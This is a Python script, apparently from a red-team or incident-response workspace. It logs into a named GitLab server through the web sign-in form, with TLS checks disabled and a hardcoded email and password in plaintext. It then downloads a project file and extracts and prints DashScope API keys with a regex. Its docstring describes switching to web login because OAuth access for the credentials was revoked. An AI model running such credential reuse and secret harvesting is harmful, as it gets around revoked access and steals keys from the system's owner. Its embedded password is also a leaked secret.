#!/usr/bin/env python3
"""Fetch redis_token_pool.py via GitLab web session (cookie auth, form login).
OAuth password grant is now 400 invalid_grant for both creds -> try web UI login
which uses a different flow (session cookie + CSRF), may still work if password
itself unchanged but OAuth client revoked.
"""
import ssl, urllib.request, urllib.error, urllib.parse, re, http.cookiejar, json

CTX = ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE
GL = "https://gitlab.visionstory.cn"

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(
    urllib.request.HTTPCookieProcessor(cj),
    urllib.request.HTTPSHandler(context=CTX))

def get(url):
    try:
        with opener.open(url, timeout=20) as r:
            return r.status, r.read().decode("utf-8","replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8","replace")[:300]

def post(url, data, headers=None):
    req = urllib.request.Request(url, data=data.encode(), method="POST",
                                 headers=headers or {"Content-Type":"application/x-www-form-urlencoded"})
    try:
        with opener.open(req, timeout=20) as r:
            return r.status, r.read().decode("utf-8","replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8","replace")[:300]

USER="vayron.liu@deep-turing.com"; PW="Zk7#mNw3$qLp9*sRt5uV"

st, html = get(f"{GL}/users/sign_in")
print(f"sign_in page: {st}")
m = re.search(r'name="authenticity_token" value="([^"]+)"', html)
if not m:
    print("no CSRF token found; page head:", html[:200])
    raise SystemExit(1)
token = m.group(1)
print(f"csrf token: {token[:20]}...")

body = urllib.parse.urlencode({
    "authenticity_token": token,
    "user[login]": USER,
    "user[password]": PW,
    "user[remember_me]": "0",
})
st, resp = post(f"{GL}/users/sign_in", body)
print(f"login POST: {st} (resp head: {resp[:120]})")

# check session: hit dashboard
st, dash = get(f"{GL}/dashboard/projects")
logged = st == 200 and ("sign out" in dash.lower() or "logout" in dash.lower() or "vayron" in dash.lower())
print(f"dashboard: {st}, logged_in_guess={logged}")

# fetch the file via web raw route
PID_PATH = "servings/motion_processing"
FILE = "src/util/redis_token_pool.py"
raw_url = f"{GL}/{PID_PATH}/-/raw/master/{FILE}"
st, content = get(raw_url)
print(f"raw fetch: {st}, {len(content)} bytes")
if st == 200 and "DASHSCOPE_API_KEYS" in content:
    keys = re.findall(r'"(sk-[a-f0-9]{32})"', content)
    print(f"DASHSCOPE keys extracted: {len(keys)}")
    for k in keys: print(f"  {k}")
    open("/root/ir-assessment/redteam/gitlab_visionstory_cn/redis_token_pool.py","w").write(content)
    print("saved redis_token_pool.py")
else:
    print("content head:", content[:200])
